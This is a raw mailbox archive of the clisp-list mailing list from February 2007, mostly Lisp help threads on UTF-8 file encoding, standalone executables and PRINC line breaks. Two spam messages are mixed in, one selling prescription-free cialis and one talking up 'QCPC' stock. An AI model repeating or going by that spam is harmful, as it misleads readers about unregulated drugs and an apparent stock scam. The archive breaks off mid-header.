Helary In-Reply-To: <373590DF-9343-485A-9939-C61E1AD27F2E@mx6.tiki.ne.jp> References: <6BD57C1C-06AF-47B3-A3D6-19899C4C1879@mx6.tiki.ne.jp> <17857.60660.424268.220755@thalassa.informatimago.com> <373590DF-9343-485A-9939-C61E1AD27F2E@mx6.tiki.ne.jp> X-Mailer: VM 7.17 under Emacs 22.0.91.1 Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] -Efile utf-8 option X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 01 Feb 2007 17:36:51 -0000 Jean-Christophe Helary writes: >=20 > On 1 f=C3=A9vr. 07, at 22:36, Pascal Bourguignon wrote: >=20 > > Jean-Christophe Helary writes: > >> I want to have clisp consider all the files it handles as utf-8 =20 > >> files. > >> > >> Is: > >> $ clisp -Efile utf-8 > >> > >> enough ? It looks like it is not. I try to load a file saved in utf-= 8 > >> and containing Japanese characters so it seems to load ok, but when = I > >> call the function with Japanese I get: > >> > >>> *** - Character #\u7686 cannot be represented in the character set > >>> CHARSET:ASCII > >> > >> The origin of my question is that I want to load files in slime > >> without having to type: > >> > >>> :external-format charset:utf-8 > >> > >> each time I load a file. So I thought starting clisp with some > >> appropriate options would do. But I can't seem to find the > >> appropriate option... > > > > Check that you're not setting CUSTOM:*DEFAULT-FILE-ENCODING* in =20 > > ~/.clisprc > > > > Use: (SETF CUSTOM:*DEFAULT-FILE-ENCODING* CHARSET:UTF-8) > > if it's not already this. >=20 >=20 > Ok, now my .clisprc includes this line. It seems to be loaded, but I =20 > get the same error message (I am doing all that from the command line). >=20 > The file is in utf-8, I just checked. And it contains the following =20 > lines: >=20 > (defun konnichiha () > (format t "=E7=9A=86=E3=81=95=E3=82=93=E3=80=81=E4=BB=8A=E6=97=A5=E3= =81=AF=E3=80=82")) > (defun bonjour () > (format t "Bonjour tout le monde.")) >=20 > and the full messages is: >=20 > ;; Loading file /Users/suzume/.clisprc ... > ;; Loaded file /Users/suzume/.clisprc > [1]> (load "~/Documents/Travail/Programmes/lisp/konnichiha.lisp") > ;; Loading file /Users/suzume/Documents/Travail/Programmes/lisp/=20 > konnichiha.lisp ... > ;; Loaded file /Users/suzume/Documents/Travail/Programmes/lisp/=20 > konnichiha.lisp > T The file loaded successfully! > [2]> (bonjour) > Bonjour tout le monde. > NIL > [3]> (konnichiha) >=20 > *** - Character #\u7686 cannot be represented in the character set =20 > CHARSET:ASCII > The following restarts are available: > ABORT :R1 ABORT > Break 1 [4]> Your terminal is an ASCII terminal. Use an UTF-8 terminal and -Eterminal UTF-8 -Efile UTF-8 (or just -E UTF-8= ). (DEFUN LSENCOD () (FORMAT T "~%~{~32A ~A~%~}~%" (LIST 'CUSTOM:*DEFAULT-FILE-ENCODING* CUSTOM:*DEFAULT-FILE-ENCODING* 'CUSTOM:*FOREIGN-ENCODING* CUSTOM:*FOREIGN-ENCODING* 'CUSTOM:*MISC-ENCODING* CUSTOM:*MISC-ENCODING* 'CUSTOM:*PATHNAME-ENCODING* CUSTOM:*PATHNAME-ENCODING* 'CUSTOM:*TERMINAL-ENCODING* CUSTOM:*TERMINAL-ENCODING* 'SYSTEM::*HTTP-ENCODING* SYSTEM::*HTTP-ENCODING*)) (VALUES)) You can use this command to see all the encodings set. --=20 __Pascal Bourguignon__ http://www.informatimago.com/ IMPORTANT NOTICE TO PURCHASERS: The entire physical universe, including this product, may one day collapse back into an infinitesimally small space. Should another universe subsequently re-emerge, the existence of this product in that universe cannot be guaranteed. From fusion@mx6.tiki.ne.jp Thu Feb 01 17:06:56 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HCmtE-0002oX-2F for clisp-list@lists.sourceforge.net; Thu, 01 Feb 2007 17:06:56 -0800 Received: from smtp9.tiki.ne.jp ([218.40.30.106]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HCmtC-0000AV-HX for clisp-list@lists.sourceforge.net; Thu, 01 Feb 2007 17:06:55 -0800 Received: from [192.168.11.3] (pl150.nas932.takamatsu.nttpc.ne.jp [210.136.180.150]) (authenticated bits=0) by smtp9.tiki.ne.jp (8.13.8/8.13.8) with ESMTP id l1216lhg072504 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NO) for ; Fri, 2 Feb 2007 10:06:47 +0900 (JST) (envelope-from fusion@mx6.tiki.ne.jp) Mime-Version: 1.0 (Apple Message framework v752.3) In-Reply-To: <17858.9509.262538.858293@thalassa.informatimago.com> References: <6BD57C1C-06AF-47B3-A3D6-19899C4C1879@mx6.tiki.ne.jp> <17857.60660.424268.220755@thalassa.informatimago.com> <373590DF-9343-485A-9939-C61E1AD27F2E@mx6.tiki.ne.jp> <17858.9509.262538.858293@thalassa.informatimago.com> Content-Type: text/plain; charset=ISO-8859-1; delsp=yes; format=flowed Message-Id: Content-Transfer-Encoding: quoted-printable From: Jean-Christophe Helary Date: Fri, 2 Feb 2007 10:06:44 +0900 To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.752.3) X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: Re: [clisp-list] -Efile utf-8 option X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 02 Feb 2007 01:06:56 -0000 On 2 f=E9vr. 07, at 02:36, Pascal Bourguignon wrote: >> *** - Character #\u7686 cannot be represented in the character set >> CHARSET:ASCII >> The following restarts are available: >> ABORT :R1 ABORT >> Break 1 [4]> > > Your terminal is an ASCII terminal. I use OSX terminal and the display menu gives me "character set =20 encoding utf-8" > Use an UTF-8 terminal and -Eterminal UTF-8 -Efile UTF-8 (or just -E =20= > UTF-8). Sam's indication eventually solve the problem. Now I ca run clisp =20 with the .clisprc you suggested, _and_ with -E utf-8 and everuthing =20 is solved (at least in terminal, now I need to check that in slime). Thank you for the help. > (DEFUN LSENCOD () > (FORMAT T "~%~{~32A ~A~%~}~%" > (LIST 'CUSTOM:*DEFAULT-FILE-ENCODING* CUSTOM:*DEFAULT-FILE-ENCODING* > 'CUSTOM:*FOREIGN-ENCODING* CUSTOM:*FOREIGN-ENCODING* > 'CUSTOM:*MISC-ENCODING* CUSTOM:*MISC-ENCODING* > 'CUSTOM:*PATHNAME-ENCODING* CUSTOM:*PATHNAME-ENCODING* > 'CUSTOM:*TERMINAL-ENCODING* CUSTOM:*TERMINAL-ENCODING* > 'SYSTEM::*HTTP-ENCODING* SYSTEM::*HTTP-ENCODING*)) > (VALUES)) > > You can use this command to see all the encodings set. Jean-Christophe Helary From Rasmusson@kristypayne.com Sun Feb 04 06:21:32 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HDiFH-00009q-OP for clisp-list@lists.sourceforge.net; Sun, 04 Feb 2007 06:21:31 -0800 Received: from [89.137.36.55] (helo=[89.137.36.55]) by mail.sourceforge.net with smtp (Exim 4.44) id 1HDiFH-0002UV-6X for clisp-list@lists.sourceforge.net; Sun, 04 Feb 2007 06:21:31 -0800 Message-ID: <19d601c74867$049acee0$37248959@[89.137.36.55]> From: "Conqualets Bendelevsk" To: "Murillo Oscar" Date: Sun, 04 Feb 2007 14:19:49 +0000 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="Windows-1252"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Spam-Score: 0.6 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.9 SUBJECT_DRUG_GAP_C Subject contains a gappy version of 'cialis' -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 0.5 INFO_TLD URI: Contains an URL in the INFO top-level domain 1.0 DRUGS_ERECTILE Refers to an erectile drug Subject: [clisp-list] Get now your pack of Authentic cialis :) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 04 Feb 2007 14:21:32 -0000 Original cialis :)) Here: http://www.ardticcat.info N.B.: Tax free prices, Worldwide shipping and No prescription! -- tkqgquqsplplupqjqfpopuorqgqmprojohrrofnqofojnjnsnunkoonqnnrfngoknk From steve.morin@gmail.com Sun Feb 04 15:13:19 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HDqXv-0005KY-Hb for clisp-list@lists.sourceforge.net; Sun, 04 Feb 2007 15:13:19 -0800 Received: from nf-out-0910.google.com ([64.233.182.188]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HDqXu-0002KR-5L for clisp-list@lists.sourceforge.net; Sun, 04 Feb 2007 15:13:19 -0800 Received: by nf-out-0910.google.com with SMTP id c31so3484166nfb for ; Sun, 04 Feb 2007 15:13:16 -0800 (PST) Received: by 10.49.19.5 with SMTP id w5mr1514983nfi.1170630796854; Sun, 04 Feb 2007 15:13:16 -0800 (PST) Received: by 10.49.88.11 with HTTP; Sun, 4 Feb 2007 15:13:16 -0800 (PST) Message-ID: Date: Sun, 4 Feb 2007 18:13:16 -0500 From: "Steve Morin" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] Executable X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 04 Feb 2007 23:13:19 -0000 Does any one know how to make a common lisp program into a standalone executable? Steve From langstefan@gmx.at Sun Feb 04 15:45:58 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HDr3W-0008KS-1p for clisp-list@lists.sourceforge.net; Sun, 04 Feb 2007 15:45:58 -0800 Received: from mail.gmx.net ([213.165.64.20]) by mail.sourceforge.net with smtp (Exim 4.44) id 1HDr3T-0001OT-Nh for clisp-list@lists.sourceforge.net; Sun, 04 Feb 2007 15:45:58 -0800 Received: (qmail invoked by alias); 04 Feb 2007 23:45:49 -0000 Received: from M2522P023.adsl.highway.telekom.at (EHLO [192.168.1.56]) [212.183.47.55] by mail.gmx.net (mp033) with SMTP; 05 Feb 2007 00:45:49 +0100 X-Authenticated: #16618582 From: Stefan Lang To: clisp-list@lists.sourceforge.net Date: Mon, 5 Feb 2007 00:47:59 +0100 User-Agent: KMail/1.8.2 References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200702050047.59126.langstefan@gmx.at> X-Y-GMX-Trusted: 0 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] Executable X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 04 Feb 2007 23:45:58 -0000 On Monday 05 February 2007 00:13, Steve Morin wrote: > Does any one know how to make a common lisp program into a > standalone executable? > Steve For clisp, read http://clisp.cons.org/impnotes.html#image Stefan From tkb@tkb.mpl.com Tue Feb 06 14:36:19 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HEYvC-0000YE-BC for clisp-list@lists.sourceforge.net; Tue, 06 Feb 2007 14:36:19 -0800 Received: from tkb.mpl.com ([64.181.9.74]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1HEYvA-0002rb-Lj for clisp-list@lists.sourceforge.net; Tue, 06 Feb 2007 14:36:18 -0800 Received: from tkb.mpl.com (tkb.mpl.com [64.181.9.74]) by tkb.mpl.com (8.13.1/8.13.1) with ESMTP id l16LoRWp018009; Tue, 6 Feb 2007 16:50:28 -0500 (EST) (envelope-from tkb@tkb.mpl.com) X-Mailer: emacs 21.3.1 (via feedmail 8 I); VM 7.19 under Emacs 21.3.1 From: "T. Kurt Bond" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17864.63522.621027.195398@tkb.mpl.com> Date: Tue, 6 Feb 2007 16:50:26 -0500 To: clisp-list@lists.sourceforge.net X-Greylist: Sender DNS name whitelisted, not delayed by milter-greylist-2.0.2 (tkb.mpl.com [64.181.9.74]); Tue, 06 Feb 2007 16:50:28 -0500 (EST) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] clisp princ oddity: unexpected line break X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 06 Feb 2007 22:36:19 -0000 (section below delimited by blank lines) Why does the the following: (with-open-file (s "x.lis" :direction :output) (progn (princ "embedded newline> Message-ID: <17865.8617.231173.9931@thalassa.informatimago.com> Date: Wed, 7 Feb 2007 01:47:37 +0100 To: "T. Kurt Bond" In-Reply-To: <17864.63522.621027.195398@tkb.mpl.com> References: <17864.63522.621027.195398@tkb.mpl.com> X-Mailer: VM 7.17 under Emacs 22.0.91.1 Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp princ oddity: unexpected line break X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 07 Feb 2007 00:47:56 -0000 T. Kurt Bond writes: > (section below delimited by blank lines) >=20 > Why does the the following: >=20 > (with-open-file (s "x.lis" :direction :output) > (progn=20 > (princ "embedded newline> > (princ "hello" s) > (princ "embedded newline> > =20 > produce: >=20 > embedded newline> > embedded newline> > =20 > instead of: >=20 > embedded newline> > > =20 > CMU and SBCL both produce the latter. This is still conformant! PRINC is influenced by various special variables, including *PRINT-PRETTY*, and the initial value of these variable is implementation dependant. So it seems that cmucl and sbcl choose one setting, while clisp chooses the other.=20 So you should explicitely set these *PRINT-...* variables to what you want. C/USER[21]> (dolist (*PRINT-PRETTY* '(nil t)) (format t "~% With *PRINT-PRETTY* =3D ~S ~%" *print-pretty*) (progn=20 (princ "embedded newline> =20 --=20 __Pascal Bourguignon__ http://www.informatimago.com/ NOTE: The most fundamental particles in this product are held together by a "gluing" force about which little is currently known and whose adhesive power can therefore not be permanently guaranteed. From sds@gnu.org Wed Feb 07 06:59:15 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HEoGQ-00041z-LY for clisp-list@lists.sourceforge.net; Wed, 07 Feb 2007 06:59:15 -0800 Received: from www.janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HEoGM-0004yC-6H for clisp-list@lists.sourceforge.net; Wed, 07 Feb 2007 06:59:14 -0800 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD-9.10) id A9360320; Wed, 07 Feb 2007 09:59:02 -0500 Message-ID: <45C9E936.3060808@gnu.org> Date: Wed, 07 Feb 2007 09:59:02 -0500 From: Sam Steingold User-Agent: Thunderbird 1.5.0.8 (X11/20061107) MIME-Version: 1.0 To: "T. Kurt Bond" References: <17864.63522.621027.195398@tkb.mpl.com> In-Reply-To: <17864.63522.621027.195398@tkb.mpl.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp princ oddity: unexpected line break X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 07 Feb 2007 14:59:16 -0000 http://clisp.podval.org/impnotes/faq.html#faq-pp-newline PS. I want $1 whenever I answer a question with a link to the manual. PPS. I want $10 whenever I answer a question with a link to the FAQ. PPPS. http://sourceforge.net/donate/index.php?group_id=1355 PPPPS. the above is a joke, in case you doubt. From pjb@informatimago.com Wed Feb 07 08:11:15 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HEpO6-0003cM-Jo for clisp-list@lists.sourceforge.net; Wed, 07 Feb 2007 08:11:15 -0800 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HEpO4-00078D-Vf for clisp-list@lists.sourceforge.net; Wed, 07 Feb 2007 08:11:14 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id CC573585EB; Wed, 7 Feb 2007 17:10:51 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 32B17585E6; Wed, 7 Feb 2007 17:10:44 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 30B269046; Wed, 7 Feb 2007 17:10:43 +0100 (CET) From: Pascal Bourguignon Message-ID: <17865.64003.117469.612289@thalassa.informatimago.com> Date: Wed, 7 Feb 2007 17:10:43 +0100 To: clisp-list@lists.sourceforge.net In-Reply-To: <45C9E936.3060808@gnu.org> References: <17864.63522.621027.195398@tkb.mpl.com> <45C9E936.3060808@gnu.org> X-Mailer: VM 7.17 under Emacs 22.0.91.1 Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: "T. Kurt Bond" Subject: Re: [clisp-list] clisp princ oddity: unexpected line break X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 07 Feb 2007 16:11:15 -0000 Sam Steingold writes: > http://clisp.podval.org/impnotes/faq.html#faq-pp-newline >=20 > PS. I want $1 whenever I answer a question with a link to the manual. > PPS. I want $10 whenever I answer a question with a link to the FAQ. > PPPS. http://sourceforge.net/donate/index.php?group_id=3D1355 > PPPPS. the above is a joke, in case you doubt. Yes, but not a reason not to be generous ;-)=20 (as soon as I can, I will). --=20 __Pascal Bourguignon__ http://www.informatimago.com/ From sds@gnu.org Wed Feb 07 08:19:35 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HEpWB-0004cr-IY for clisp-list@lists.sourceforge.net; Wed, 07 Feb 2007 08:19:35 -0800 Received: from janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HEpWA-0006Gt-1P for clisp-list@lists.sourceforge.net; Wed, 07 Feb 2007 08:19:35 -0800 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD-9.10) id AC0B022C; Wed, 07 Feb 2007 11:19:23 -0500 Message-ID: <45C9FC0B.3060504@gnu.org> Date: Wed, 07 Feb 2007 11:19:23 -0500 From: Sam Steingold User-Agent: Thunderbird 1.5.0.8 (X11/20061107) MIME-Version: 1.0 To: pjb@informatimago.com References: <17864.63522.621027.195398@tkb.mpl.com> <45C9E936.3060808@gnu.org> <17865.64003.117469.612289@thalassa.informatimago.com> In-Reply-To: <17865.64003.117469.612289@thalassa.informatimago.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp princ oddity: unexpected line break X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 07 Feb 2007 16:19:36 -0000 Pascal Bourguignon wrote: > Sam Steingold writes: >> http://clisp.podval.org/impnotes/faq.html#faq-pp-newline >> >> PS. I want $1 whenever I answer a question with a link to the manual. >> PPS. I want $10 whenever I answer a question with a link to the FAQ. >> PPPS. http://sourceforge.net/donate/index.php?group_id=1355 >> PPPPS. the above is a joke, in case you doubt. > > Yes, but not a reason not to be generous ;-) this is not a question of generosity. note that I am not asking for money for answering ordinary questions. I am talking about _fines_ for not looking into the manual (or even the FAQ!). and, of course, the fine is paid to the person who posts the link, not necessarily to me. From shelterdisloyal@appraisalresearch.com Thu Feb 08 11:17:22 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HFElm-0004Yj-JJ; Thu, 08 Feb 2007 11:17:22 -0800 Received: from gtso-4db521c1.pool.einsundeins.de ([77.181.33.193]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HFElk-0004ES-M0; Thu, 08 Feb 2007 11:17:22 -0800 Received: from security.appraisalresearch.com (HELO appraisalresearch.com) ([12.37.23.67]) by 4fy.appraisalresearch.com with ESMTP id ; Thu, 8 Feb 2007 19:17:17 -0060 Received: from xtzidx.stephens.cl ([185.159.185.189]) by 1uc6.webby.com (Sun Java System Messaging Server 6.1 HotFix 0.07 (built Oct 27 2006)) with ESMTP id <4y5thv3pgoai2nd@153.219.139.185.webby.com> for clisp-list@lists.sourceforge.net; Thu, 8 Feb 2007 19:17:17 -0060 (IST) Date: Thu, 8 Feb 2007 19:17:17 -0060 From: "Dianna Furukawa" To: Message-ID: <75ER3FN3X2R_VBJ35_IDEPEV@appraisalresearch.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Your commission X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 08 Feb 2007 19:17:22 -0000 Good tidings from QCPC give you the real alternative to hit the jackpot. QCPC is a company with far-sighted targets. Company strategy is to diversify within the power supply marketplace and build strong, niche oriented operations around the globe. QCPC take a long-term view of business, focusing on growth and overall progress of our subsidiaries over a number of years. Company has chosen one of solar power producer. As you know oil prices are getting higer and higer! A great amount of electricity generating plants uses oil-products. May be your domestic electrical power supplier or heat register works by using oil-products. Modern technologies of solar extraction also are very effective in bad light or sun and the accumulating energy can be saved inside special batteries. That is why we can talk about full energy-independent house. In century of high technologies we can't imagine town life without energy. A lot of states in the USA has enough reserve of solar power to generate needed electric energy. Furthermore the President realizes the important role of this policy and allocated $1 Billion to Renewable Energy. U.S. Department of Energy FY 08 budget includes $179 million for the President's Initiative. Particularly Solar America Initiative - $148 million; QCPC is at the right time and place now. They have chosen promising line of activity for your share investments and we negotiated a contract with Samlex America, which has manufactured and distributed power supply products to more than 90 countries worldwide since 1991. Innovative product designs, strict quality control, and responsible after sales service provide customers with high quality power conversion products at extremely competitive prices. Because of this news the prices of the QCPC stocks are about to raise. QCPC's financial condition is steady now. An overall market and economic conditions are also can better affect the performance of the QCPC's shares. From Castillo@doubleclick.net Fri Feb 09 19:14:15 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HFigp-0002YF-3x for clisp-list@lists.sourceforge.net; Fri, 09 Feb 2007 19:14:15 -0800 Received: from nat-10.autocacak.co.yu ([194.247.211.10]) by mail.sourceforge.net with smtp (Exim 4.44) id 1HFign-0004z7-Bw for clisp-list@lists.sourceforge.net; Fri, 09 Feb 2007 19:14:14 -0800 Message-ID: <46a401c74cc1$2876a4c5$0ad3f7c2@nat-10.autocacak.co.yu> From: 